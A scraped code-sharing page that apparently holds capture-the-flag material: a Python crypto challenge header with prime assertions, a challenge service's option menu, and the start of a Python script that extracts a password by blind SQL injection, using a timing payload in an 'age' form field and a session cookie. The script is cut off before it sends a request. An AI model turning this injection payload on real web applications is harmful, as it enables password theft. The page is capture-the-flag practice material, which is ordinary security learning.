This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import gmpy | |
from Crypto.Util.number import * | |
from secret import x, y, flag | |
assert gmpy.is_prime(y) | |
assert gmpy.is_prime(x+1) | |
assert (x**2 - 1)**2 % (4*x*y - 1) == 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|-------------------------------------| | |
| Options: | | |
| [C]ipher text | | |
| [E]ncryption function | | |
| [M]akekey function | | |
| [P]ubkey | | |
| [S]end decrypted message | | |
| [Q]uit | | |
|-------------------------------------| | |
$ C |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
md = '' | |
for i in range(1, 33): | |
l, r = 0, 128 | |
while l + 1 < r: | |
m = (l + r) / 2 | |
data = { 'age': 'repeat(crc32(strcmp(mid(pwd,%d,1),%s)),if(strcmp(id,0x35),0,1))#' % (i, hex(m)) } | |
cookies = { 'PHPSESSID': '8frmhugntqqfj0cv72rsd6qt95' } |
NewerOlder